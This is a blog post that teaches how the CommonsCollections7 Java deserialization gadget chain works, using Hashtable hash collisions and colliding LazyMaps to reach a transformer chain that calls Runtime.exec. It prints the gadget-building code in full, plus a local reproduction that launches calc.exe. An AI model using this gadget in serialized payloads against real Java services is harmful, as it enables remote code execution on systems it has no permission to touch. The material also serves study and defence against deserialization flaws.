🔗Linkedin 🐦Twitter

CommonsCollection7

In this blog post, we will explore the CommonsCollections7 payload.
Before diving into the CommonsCollections7 payload, let's take a moment to understand HashTables.

A Hashtable in Java is a data structure used to store key-value pairs. It allows fast access and retrieval using the get() and put() methods, making it one of the foundational classes in Java's Collections Framework.

Let's start with a basic example:

Hashtable<String, String> ht = new Hashtable<>();

ht.put("language", "Java");
ht.put("author", "James Gosling");

System.out.println(ht.get("language"));  // Output: Java
System.out.println(ht.get("author"));    // Output: James Gosling

Behind the scenes, when you insert a key such as "language", Java internally computes a hash using the key's hashCode() method. This method returns an integer that acts as a fingerprint of the object and determines where in memory (specifically, in the internal array) the value should be stored.

For example:

String key1 = "Aa";
String key2 = "BB";

System.out.println(key1.hashCode());  // 2112
System.out.println(key2.hashCode());  // 2112 (collision!)

Here, both keys produce the same hash code (2112) despite being different strings — this is known as a hash collision, and we'll discuss how it is handled shortly.


How Hashtable Uses hashCode()

Once Java computes the hashCode(), it must convert it into an index within the internal array of the Hashtable. It does this using the following line of code:

int index = (hash & 0x7FFFFFFF) % table.length;

So if your hashtable has 16 slots, and hashCode() returns 2112, then:

index = (2112 & 0x7FFFFFFF) % 16 = 0

What If Two Keys End Up at the Same Index?

That's where hash collisions come in. Java handles them using a technique called chaining: it stores multiple entries at the same index as a linked list.

Hashtable<String, String> ht = new Hashtable<>();

String key1 = "Aa";  // hashCode = 2112
String key2 = "BB";  // hashCode = 2112 (collision)

ht.put(key1, "first");
ht.put(key2, "second");

System.out.println(ht.get(key1)); // Output: first
System.out.println(ht.get(key2)); // Output: second

When retrieving a value, the Hashtable checks each entry at that index using the equals() method to identify the correct key:

for (; entry != null; entry = entry.next) {
    if ((entry.hash == hash) && entry.key.equals(key)) {
        return entry.value;
    }
}

So, even if multiple keys hash to the same bucket, Java can still retrieve the correct value as long as equals() distinguishes them.

This collision-resolution mechanism becomes especially critical in deserialization attacks, where crafted objects override equals() and hashCode() to trigger specific behavior — for example, transformer chains in CommonsCollections gadgets.

With the above knowledge about the Hashtable, let's jump into the CC7 payload.

Below is how the payload looks like

public Hashtable getObject(final String command) throws Exception {

    // Reusing transformer chain and LazyMap gadgets from previous payloads
    final String[] execArgs = new String[]{command};

    final Transformer transformerChain = new ChainedTransformer(new Transformer[]{});

    final Transformer[] transformers = new Transformer[]{
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod",
            new Class[]{String.class, Class[].class},
            new Object[]{"getRuntime", new Class[0]}),
        new InvokerTransformer("invoke",
            new Class[]{Object.class, Object[].class},
            new Object[]{null, new Object[0]}),
        new InvokerTransformer("exec",
            new Class[]{String.class},
            execArgs),
        new ConstantTransformer(1)};

    Map innerMap1 = new HashMap();
    Map innerMap2 = new HashMap();

    // Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
    Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
    lazyMap1.put("yy", 1);

    Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
    lazyMap2.put("zZ", 1);

    // Use the colliding Maps as keys in Hashtable
    Hashtable hashtable = new Hashtable();
    hashtable.put(lazyMap1, 1);
    hashtable.put(lazyMap2, 2);

    Reflections.setFieldValue(transformerChain, "iTransformers", transformers);

    // Needed to ensure hash collision after previous manipulations
    lazyMap2.remove("yy");
return hashtable; }

So, the payload uses a TransformerChain and LazyMap together with a Hashtable.

We discussed LazyMap in CC5 — please read that section if you're unfamiliar with its role in deserialization.

Let's rewrite the payload to reproduce RCE locally.

import java.util.ArrayList;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.List;
import java.util.Map;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.LazyMap;

public class cc7 {

    public static void main(String args[]) {

        Person pt = new Person("HelloWorld");
        ConstantTransformer tr = new ConstantTransformer(Runtime.class);
        InvokerTransformer transformer = new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]});
        InvokerTransformer tr3 = new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]});
        InvokerTransformer tr4 = new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc.exe"});
        // System.out.println(transformer.transform(Runtime.class).getClass().getName());
        // System.out.println(tr4.transform(tr3.transform(transformer.transform(tr.transform("HELLO")))));

        ChainedTransformer chain = new ChainedTransformer(new Transformer[] { tr, transformer, tr3, tr4 });

        Map innerMap1 = new HashMap();
        Map innerMap2 = new HashMap();

        Map lazyMap1 = LazyMap.decorate(innerMap1, chain);
        lazyMap1.put("yy", 1);

        Map lazyMap2 = LazyMap.decorate(innerMap2, chain);
        lazyMap2.put("zZ", 1);

        Hashtable hashtable = new Hashtable();
        hashtable.put(lazyMap1, 1);
        hashtable.put(lazyMap2, 2);
    }
}

Now lets understand the above code and flow.
When we call the put() on hash table the below code gets executed.

public synchronized V put(K key, V value) {
    // Make sure the value is not null
    if (value == null) {
        throw new NullPointerException();
    }

    // Makes sure the key is not already in the hashtable.
    Entry<?,?> tab[] = table;
    int hash = key.hashCode();
    int index = (hash & 0x7FFFFFFF) % tab.length;
    @SuppressWarnings("unchecked")
    Entry<K,V> entry = (Entry<K,V>)tab[index];
    for(; entry != null ; entry = entry.next) {
        if ((entry.hash == hash) && entry.key.equals(key)) {
            V old = entry.value;
            entry.value = value;
            return old;
        }
    }

    addEntry(hash, key, value, index);
    return null;
}

If you check the code above, it first takes the entry, gets its hashCode(), and then checks for collisions inside the for loop.
If the for loop evaluates to true, the if condition is checked.
However, during the first entry the condition in the for loop fails, so it never calls entry.key.equals().

On the second put, with entries like yy and zZ, the hash codes of these two are exactly the same (i.e., 3812).
So the if condition is triggered and, since both hashes match, entry.key.equals() will be called.

Now the entries we have in the Hashtable are LazyMap entries.
The LazyMap itself does not declare an equals() method, but it extends AbstractMapDecorator, which provides the equals() implementation.


Now this equals() at AbstractMapDecorator calls map.equals() , map being an abstract class the AbstractMap.equals() gets called

Below is how the equals() at AbstractMap looks Like

public boolean equals(Object o) {
    if (o == this)
        return true;

    if (!(o instanceof Map))
        return false;
    Map<?,?> m = (Map<?,?>) o;
    if (m.size() != size())
        return false;

    try {
        Iterator<Entry<K,V>> i = entrySet().iterator();
        while (i.hasNext()) {
            Entry<K,V> e = i.next();
            K key = e.getKey();
            V value = e.getValue();
            if (value == null) {
                if (!(m.get(key)==null && m.containsKey(key)))
                    return false;
            } else {
                if (!value.equals(m.get(key)))
                    return false;
            }
        }
    } catch (ClassCastException unused) {
        return false;
    } catch (NullPointerException unused) {
        return false;
    }

    return true;
}

In the snippet above, pay attention to the else block where we call m.get(key). If you look closely, the input type here is Object, and we have passed a LazyMap. The local variable m is set to that object, so when we call m.get(), LazyMap.get() is invoked.

LazyMap.get() checks whether the key exists. If the key does not exist, it calls the TransformerChain that was initialized during decorate().

That's how we end up executing the TransformerChain, which ultimately leads to code execution.

This is how the CommonsCollection7 Payload works, staring from the EntryPoint to Code Execution

Summary:

Thats it for Today.

Thanks For Reading.

Happy Hacking.

You can connect with me at:

Linkedin

Twitter